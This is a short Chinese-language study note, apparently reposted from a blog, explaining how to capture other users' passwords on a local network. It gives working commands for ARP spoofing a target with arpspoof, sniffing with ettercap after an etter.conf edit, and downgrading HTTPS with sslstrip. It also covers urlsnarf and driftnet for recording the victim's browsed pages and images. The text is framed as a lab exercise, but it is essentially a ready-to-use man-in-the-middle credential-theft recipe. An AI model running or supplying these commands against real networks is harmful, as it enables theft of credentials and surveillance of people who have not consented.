注册
登录
注意：这是我在“某书”上的学习笔记，我在“某书”上还有其他的笔记，看情况随机分享。若有网友需要全部的学习笔记，去“某书”上搜索我就可以，我叫FKTX 如果用arpspoof配合ettercap只能获得http协议下的相关账号密码。但是，现在普遍https协议，那么这种方法就GG了。 首先，由于默认的ettercap只能嗅探http协议下的密码，所以，若进行https协议下的嗅探，那么，就要对ettercap配置文件做一些修改。 路径： /etc/ettercap/etter.conf
去掉注释，让命令生效就可以了。同时保存退出。 然后，用arpspoof配合ettercap以及sslstrip就可以获得https下的密码。 补充：sslstrip是一款可以将https还原成http的工具。 命令： arpspoof -t 192.168.1.130 192.168.1.1 -i eth0 进行欺骗 ettercap -Tq -i eth0 进行嗅探 sslstrip -a -f -k
最后，补充一下kali中几个和本次实验相关的工具，以及使用方法： urlsnarf -i eth0 在成功的ARP欺骗后，可以利用这个命令抓取流量，看目标浏览了哪些网页。 driftnet -i eth0 同理，在arp欺骗成功后，可以从网卡中抓取目标浏览的图片，但是只能是图片，而且还有一个缺陷，那就是不是所有的图片都能抓到。
其他文章链接： |
| 本文出处： http://www.toutiao.com/a6446507398168510734/ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
